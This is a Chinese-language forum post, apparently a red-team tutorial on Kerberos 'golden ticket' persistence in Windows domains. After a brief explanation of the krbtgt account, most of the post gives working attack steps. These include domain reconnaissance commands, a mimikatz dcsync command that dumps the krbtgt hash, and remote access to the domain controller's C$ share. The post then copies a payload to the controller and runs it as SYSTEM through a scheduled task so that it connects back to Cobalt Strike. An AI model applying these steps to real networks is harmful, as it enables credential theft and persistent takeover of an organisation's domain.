黄金票据权限维持

打印 上一主题 下一主题

主题 869|帖子 869|积分 2607

黄金票据权限维持


目录

一、Krbtgt账户介绍

krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成 的,无法登录主机。
二、黄金票据原理

TGT=Krbtgt的NTLM哈希加密
1、Kerberos中的TGT和Logon Session Key(CT_SK)是AS返回的,TGT它是由Krbtgt加密和签名的,krbtgt的 NTLM Hash又是固定的,而CT_SK并不会保存在KDC中。
2、所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key(CT_SK)。
3、Client与TGS的交互中,而已有了黄金票据后(TGT),就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
三、实验前提

已经控制了域名并且使用域管理员登录或者提权的system。
条件如下:
  1. 1、域名称
  2. 2、域的SID值
  3. 3、域的krbtgt账号的NTLM哈希
  4. 4、伪造任意用户名(这个可以随意)
复制代码
四、实验步骤

1、获取关键信息
  1. shell whoami /user 获取域名和SID
  2. shell net config workstation 获取完整域名
  3. shell wmic useraccount list brief 获取域名和SID
  4. shell net time /domain 获取域主机名
复制代码
2、使用mimikatz导出krbtgt的NTLM哈希
  1. mimikatz lsadump::dcsync /domain:candada.com /user:krbtgt
复制代码
3、拿到这些信息可以利用CS做黄金票据
4、做完后可以利用dir远程访问域控
  1. shell dir \\dc.candada.com\c$
复制代码
5、使用计划任务上线cs
(1)远程复制文件
  1. shell copy c:\users\administrator\desktop\can.exe \\dc.candada.com\c$
复制代码
(2)设置计划任务到域控
  1. shell schtasks /create /s dc.candada.com /tn test /sc onstart /tr c:\can.exe /ru system /f
复制代码
(3)启动计划任务
  1. shell schtasks /run /s dc.candada.com /i /tn "test"
复制代码
(4)删除计划任务
  1. shell schtasks /delete /s dc.candada.com /tn "test" /f
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

用户国营

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表